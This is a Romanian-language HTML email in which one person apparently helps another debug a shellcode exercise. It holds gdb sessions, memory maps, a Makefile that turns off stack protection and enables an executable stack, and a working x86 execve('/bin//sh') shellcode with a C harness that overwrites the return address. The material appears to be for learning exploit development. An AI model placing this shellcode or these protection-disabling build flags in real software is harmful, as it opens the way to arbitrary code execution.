<html><body><div style="color:#000; background-color:#fff; font-family:times new roman, new york, times, serif;font-size:12pt"><div><span>Alexandru,</span></div><div><br></div><div>Cred că problema provine din faptul că nu compilezi programul așa cum ar trebui (aliniament corect de stivă + dezactivarea sistemelor de protecție la stack smashing). Am făcut câteva modificări asupra shellcode-ului [1] și am inclus un Makefile [2].<br></div><div><br></div><div>În principiu cel mai mare impact din ce observ eu îl are flag-ul -z execstack care marchează explicit pagini ca fiind executabile:</div><div><br></div><div>Uite cum a mers la mine treaba:</div><div><br></div><div>-z execstack disabled:<br><br>[dtarcatu@wlan-itc-lnx-shell21 test]$ gdb ./test<br>GNU gdb (GDB) Red Hat Enterprise Linux (7.0.1-32.el5)<br>Copyright (C) 2009 Free Software Foundation, Inc.<br>License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;<br>This
 is free software: you are free to change and redistribute it.<br>There is NO WARRANTY, to the extent permitted by law.&nbsp; Type "show copying"<br>and "show warranty" for details.<br>This GDB was configured as "i386-redhat-linux-gnu".<br>For bug reporting instructions, please see:<br>&lt;http://www.gnu.org/software/gdb/bugs/&gt;...<br>Reading symbols from /homes/dtarcatu/workspace/test/test...done.<br>(gdb) break main<br>Breakpoint 1 at 0x804837a: file test.c, line 20.<br>(gdb) run<br>Starting program: /homes/dtarcatu/workspace/test/test<br><br>Breakpoint 1, main () at test.c:20<br>20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret = (int *)&amp;ret + 2;<br>(gdb) s<br>21&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *ret = (int)sc;<br>(gdb) s<br>23&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>(gdb) s<br>24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>(gdb) s<br>0x080495dc in sc ()<br>(gdb) s<br>Single stepping until exit
 from function sc,<br>which has no line number information.<br><br>Program received signal SIGSEGV, Segmentation fault.<br>0x080495dc in sc ()<br><br>Address space layout:<br><br>22760:&nbsp;&nbsp; /homes/dtarcatu/workspace/test/test<br>0034f000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4K r-x--&nbsp;&nbsp;&nbsp; [ anon ]<br>0052d000&nbsp;&nbsp;&nbsp; 108K r-x--&nbsp; /lib/ld-2.5.so<br>00548000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4K r----&nbsp; /lib/ld-2.5.so<br>00549000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4K rw---&nbsp; /lib/ld-2.5.so<br>00551000&nbsp;&nbsp; 1356K r-x--&nbsp; /lib/libc-2.5.so<br>006a4000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8K r----&nbsp; /lib/libc-2.5.so<br>006a6000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4K rw---&nbsp; /lib/libc-2.5.so<br>006a7000&nbsp;&nbsp;&nbsp;&nbsp; 12K rw---&nbsp;&nbsp;&nbsp; [ anon ]<br>08048000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4K r-x--&nbsp; /homes/dtarcatu/workspace/test/test<br>08049000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4K rw---&nbsp;
 /homes/dtarcatu/workspace/test/test<br>b7fe8000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8K rw---&nbsp;&nbsp;&nbsp; [ anon ]<br>bffea000&nbsp;&nbsp;&nbsp;&nbsp; 84K rw---&nbsp;&nbsp;&nbsp; [ stack ]<br>&nbsp;total&nbsp;&nbsp;&nbsp;&nbsp; 1600K<br><br><br>-z execstack enabled:<br><br>[dtarcatu@wlan-itc-lnx-shell21 test]$ gdb ./test<br>GNU gdb (GDB) Red Hat Enterprise Linux (7.0.1-32.el5)<br>Copyright (C) 2009 Free Software Foundation, Inc.<br>License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;<br>This is free software: you are free to change and redistribute it.<br>There is NO WARRANTY, to the extent permitted by law.&nbsp; Type "show copying"<br>and "show warranty" for details.<br>This GDB was configured as "i386-redhat-linux-gnu".<br>For bug reporting instructions, please see:<br>&lt;http://www.gnu.org/software/gdb/bugs/&gt;...<br>Reading symbols from /homes/dtarcatu/workspace/test/test...done.<br>(gdb) break main<br>Breakpoint 1
 at 0x804837a: file test.c, line 20.<br>(gdb) run<br>Starting program: /homes/dtarcatu/workspace/test/test<br>warning: .dynamic section for "/lib/libc.so.6" is not at the expected address<br>warning: difference appears to be caused by prelink, adjusting expectations<br><br>Breakpoint 1, main () at test.c:20<br>20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret = (int *)&amp;ret + 2;<br>(gdb) s<br>21&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *ret = (int)sc;<br>(gdb) s<br>23&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>(gdb) s<br>24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>(gdb) s<br>0x080495dc in sc ()<br>(gdb) s<br>Single stepping until exit from function sc,<br>which has no line number information.<br>Executing new program: /bin/bash<br><br>Breakpoint 1, 0x0805d921 in main ()<br>(gdb) s<br>Single stepping until exit from function main,<br>which has no line number information.<br>sh-3.2$ <br><br><br>Address space
 layout:<br><br>22802:&nbsp;&nbsp; /homes/dtarcatu/workspace/test/test<br>00110000&nbsp;&nbsp; 1356K r-x--&nbsp; /lib/libc-2.5.so<br>00263000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8K r-x--&nbsp; /lib/libc-2.5.so<br>00265000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4K rwx--&nbsp; /lib/libc-2.5.so<br>00266000&nbsp;&nbsp;&nbsp;&nbsp; 12K rwx--&nbsp;&nbsp;&nbsp; [ anon ]<br>0052d000&nbsp;&nbsp;&nbsp; 108K r-x--&nbsp; /lib/ld-2.5.so<br>00548000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4K r-x--&nbsp; /lib/ld-2.5.so<br>00549000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4K rwx--&nbsp; /lib/ld-2.5.so<br>00627000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4K rwx--&nbsp;&nbsp;&nbsp; [ anon ]<br>006fc000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4K rwx--&nbsp;&nbsp;&nbsp; [ anon ]<br>007dd000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4K r-x--&nbsp;&nbsp;&nbsp; [ anon ]<br>08048000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4K r-x--&nbsp; /homes/dtarcatu/workspace/test/test<br>08049000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4K rwx--&nbsp;
 /homes/dtarcatu/workspace/test/test<br>bffea000&nbsp;&nbsp;&nbsp;&nbsp; 84K rwx--&nbsp;&nbsp;&nbsp; [ stack ]<br>&nbsp;total&nbsp;&nbsp;&nbsp;&nbsp; 1600K<br><span></span></div><div><br></div><div>Mersi,<br><span></span></div><div><span>&nbsp;&nbsp;&nbsp; Dragoș</span></div><br><br>PS: Aparent nu pot trece cu atașamente prin proxy așa că listez codul direct ...<br><br>[1] <br>char sc[]=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* 24 bytes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp; "\x31\xc0"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* xorl&nbsp;&nbsp;&nbsp; %eax,%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp; "\x50"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 /* pushl&nbsp;&nbsp; %eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp; "\x68""//sh"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* pushl&nbsp;&nbsp; $0x68732f2f&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp; "\x68""/bin"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* pushl&nbsp;&nbsp; $0x6e69622f&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp; "\x89\xe3"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* movl&nbsp;&nbsp;&nbsp; %esp,%ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp; "\x50"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* pushl&nbsp;&nbsp;
 %eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp; "\x53"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* pushl&nbsp;&nbsp; %ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp; "\x89\xe1"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* movl&nbsp;&nbsp;&nbsp; %esp,%ecx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp; //"\x99"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* cdql&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp;
 "\xb0\x0b"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* movb&nbsp;&nbsp;&nbsp; $0x0b,%al&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp; "\xcd\x80"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* int&nbsp;&nbsp;&nbsp;&nbsp; $0x80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>;<br><br>int main()<br>{<br>&nbsp;&nbsp;&nbsp; int *ret;<br><br>&nbsp;&nbsp;&nbsp; ret = (int *)&amp;ret + 2;<br>&nbsp;&nbsp;&nbsp; *ret = (int)sc;<br><br>&nbsp;&nbsp;&nbsp; return 0;<br>}<br><br>[2]<br>all: astest test<br><br>test: test.c<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; gcc -g -ggdb -mpreferred-stack-boundary=2 -o test test.c -fno-stack-protector -z execstack<br><br>astest:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; as -o astest.o astest.s -ggstabs<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 ld -o astest astest.o<br><br>clean:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rm -f *~ *.o test astest<br><br>[*]<br>.text<br>.globl _start<br><br><br>_start:<br><br>xorl&nbsp;&nbsp;&nbsp; %eax,%eax<br>pushl&nbsp;&nbsp; %eax<br>pushl&nbsp;&nbsp; $0x68732f2f<br>pushl&nbsp;&nbsp; $0x6e69622f<br>movl&nbsp;&nbsp;&nbsp; %esp,%ebx<br>pushl&nbsp;&nbsp; %eax<br>pushl&nbsp;&nbsp; %ebx<br>movl&nbsp;&nbsp;&nbsp; %esp,%ecx<br>#cdql<br>movb&nbsp;&nbsp;&nbsp; $0x0b,%al<br>int&nbsp;&nbsp;&nbsp;&nbsp; $0x80<br><br><br><br><br><br> <div style="font-family: times new roman, new york, times, serif; font-size: 12pt;"> </div>  </div></body></html>